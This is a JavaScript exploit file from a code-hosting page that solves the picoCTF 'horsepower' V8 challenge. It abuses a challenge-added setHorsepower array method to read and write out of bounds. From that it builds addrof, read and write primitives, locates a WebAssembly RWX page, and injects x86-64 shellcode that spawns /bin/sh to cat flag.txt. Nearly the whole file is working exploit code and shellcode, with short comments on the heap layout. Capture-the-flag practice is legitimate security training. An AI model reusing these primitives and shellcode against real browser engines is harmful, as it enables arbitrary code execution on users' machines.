-
Notifications
You must be signed in to change notification settings - Fork 2
/
picoCTF_horsepower.js
135 lines (106 loc) · 4.21 KB
/
picoCTF_horsepower.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])
var wasm_mod = new WebAssembly.Module(wasm_code)
var wasm_instance = new WebAssembly.Instance(wasm_mod)
var f = wasm_instance.exports.main
// var shellcode = [
// 0x90, 0x6a, 0x42, 0x58, 0xfe, 0xc4, 0x48, 0x99, 0x52, 0x48, 0xbf,
// 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x57, 0x54,
// 0x5e, 0x49, 0x89, 0xd0, 0x49, 0x89, 0xd2, 0x0f, 0x05
// ]
var shellcode = [
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54, 0x5f, 0x52
, 0x66, 0x68, 0x2d, 0x63, 0x54, 0x5e, 0x52, 0xe8, 0x12, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69
, 0x6e, 0x2f, 0x63, 0x61, 0x74, 0x20, 0x66, 0x6c, 0x61, 0x67, 0x2e, 0x74, 0x78, 0x74, 0x00
, 0x56, 0x57, 0x54, 0x5e, 0x6a, 0x3b, 0x58, 0x0f, 0x05
// 0x6a, 0x0b, 0x58, 0x99, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68
// , 0x00, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x12, 0x00, 0x00, 0x00, 0x2f
// , 0x62, 0x69, 0x6e, 0x2f, 0x63, 0x61, 0x74, 0x20, 0x66, 0x6c, 0x61, 0x67, 0x2e, 0x74, 0x78
// , 0x74, 0x00, 0x57, 0x53, 0x89, 0xe1, 0xcd, 0x80
]
var buf = new ArrayBuffer(8)
var f64_buf = new Float64Array(buf)
var u64_buf = new Uint32Array(buf)
function copy_shellcode(addr, shellcode) {
print("[*] writing shellcode to RWX page...")
let buf = new ArrayBuffer(0x100)
let dataview = new DataView(buf)
let buf_addr = addrof(buf)
let backing_store_addr = buf_addr + 0x14n
print("[*] buf_addr:", hex(buf_addr))
write(backing_store_addr, addr)
print("[*] backing_store_addr:", hex(backing_store_addr))
for (let i = 0;i < shellcode.length;i++) {
dataview.setUint8(i, shellcode[i], true)
}
print("[*] shellcode writing successfully completed!")
}
function hex(val) {
return "0x" + (val & 0xffffffffn).toString(16)
}
function ftoi(val) { // typeof(val) == float
f64_buf[0] = val
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n)
}
function itof(val) { // typeof(val) == BigInt
u64_buf[0] = Number(val & 0xffffffffn)
u64_buf[1] = Number(val >> 32n)
return f64_buf[0]
}
// allocate two adjacent objects in v8's heap
float_arr = [1.1, 1.2]
obj_arr = [{a:1}, {b:2}]
d = {}
// trigger the overflow
float_arr.setHorsepower(10)
// since element's content is placed right above the metadata of the
// object, simply accessing past its bound allows an attacker to read
// such values. The first one oob is the map value, the second the
// properties pointer, the third one the elements pointer
float_map = ftoi(float_arr[2])
print("[*] float_map: ", hex(float_map))
// by inspecting memory, a float array has its properties pointer
// far past the second position, it is very likely an optimizaiton.
// Instead, at the second memory location its memory elements can
// be found
float_elements = ftoi(float_arr[3])
print("[*] float_elements: ", hex(float_elements))
// by inspecting memory, it can be found that the two elements pointer
// differ by 0x28
obj_elements = float_elements + 0x28n
print("[*] obj_elements: ", hex(obj_elements))
function addrof(obj) {
// make float_arr elements point to the elems. in the obj's object
float_arr[3] = itof(obj_elements)
obj_arr[0] = obj
return ftoi(float_arr[0])
}
print("[*] addrof(float_arr): ", hex(addrof(float_arr)))
function read(addr) {
// change the elements points to the address to be read
addr = addr - 0x8n
if (addr % 2n == 0) {
addr += 0x1n
}
tmp_r = [1.1, 1.2]
tmp_r.setHorsepower(10)
tmp_r[3] = itof(addr)
return ftoi(tmp_r[0])
}
print("[*] obj_arr's addr content: ", hex(read(addrof(obj_arr))))
function write(addr, val) {
addr = addr - 0x8n
if (addr % 2n == 0) {
addr += 0x1n
}
tmp_w = [1.1, 1.2]
tmp_w.setHorsepower(10)
tmp_w[3] = itof(addr)
return tmp_w[0] = itof(val)
}
var rwx_page_addr = read(addrof(wasm_instance) + 104n - 0x1n)
print("[*] wasm_instance addr: ", hex(addrof(wasm_instance)))
print("[*] rwx page addr: ", hex(rwx_page_addr))
copy_shellcode(rwx_page_addr, shellcode)
print("[*] wasm function addr: ", hex(addrof(f)))
print("[*] getting code exec")
f()